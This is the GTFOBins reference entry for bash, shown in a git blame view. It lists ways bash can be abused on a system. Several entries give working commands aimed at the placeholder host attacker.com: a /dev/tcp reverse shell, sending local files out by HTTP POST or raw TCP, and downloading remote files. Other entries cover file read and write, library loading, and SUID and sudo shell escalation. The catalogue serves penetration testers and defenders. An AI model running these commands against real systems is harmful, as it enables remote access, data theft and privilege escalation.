GTFOBins.github.io/_gtfobins/bash.md

68 lines
2.4 KiB
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: bash
2018-10-05 19:55:38 +02:00
reverse-shell:
2018-07-16 15:01:50 +02:00
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
2020-05-03 13:13:43 +02:00
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
2018-10-05 19:55:38 +02:00
file-upload:
2018-07-16 15:01:50 +02:00
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
2018-10-05 19:55:38 +02:00
file-download:
2018-07-16 15:01:50 +02:00
- description: Fetch a remote file via HTTP GET request.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
2018-05-28 20:02:20 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
export LFILE=file_to_write
bash -c 'echo DATA > $LFILE'
- description: This adds timestamps to the output file.
code: |
LFILE=file_to_write
HISTIGNORE='history *'
history -c
DATA
history -w $LFILE
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- description: It trims trailing newlines and it's not binary-safe.
code: |
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
- description: The read file content is surrounded by the current history content.
code: |
LFILE=file_to_read
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history
2019-11-29 13:49:37 +01:00
library-load:
- code: bash -c 'enable -f ./lib.so x'
2018-10-05 19:55:38 +02:00
suid:
2018-07-16 15:01:50 +02:00
- code: "./bash -p"
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo bash
2018-05-21 21:14:41 +02:00
---